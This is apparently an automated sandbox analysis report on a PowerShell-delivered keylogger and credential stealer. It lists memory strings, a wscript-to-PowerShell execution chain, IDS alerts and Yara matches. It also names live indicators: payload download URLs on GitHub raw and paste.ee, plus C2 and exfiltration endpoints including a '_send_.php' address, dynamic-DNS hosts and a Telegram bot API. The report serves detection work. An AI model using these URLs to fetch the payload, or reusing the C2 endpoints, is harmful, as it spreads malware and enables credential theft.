Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_00417143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_00416130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_004171D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_004179F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_00417190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_0041725A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push ebp	5_2_004172E5

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49719 -> 188.114.97.3:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Yara detected Generic Downloader

Source: Yara match

File source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/FKyid/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/FKyid/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee

Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: powershell.exe, 00000004.00000002.2416249657.0000022C116D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2401613966.0000022C02D3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000002.00000002.2461710510.000001A554290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2461710510.000001A55424F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2461710510.000001A554263000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2401613966.0000022C025CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2416249657.0000022C116D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C03008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/FKyid/0
Source: powershell.exe, 00000004.00000002.2401613966.0000022C02D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000004.00000002.2401613966.0000022C025CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfmU;
Source: powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000004.00000002.2401613966.0000022C01B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49719 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
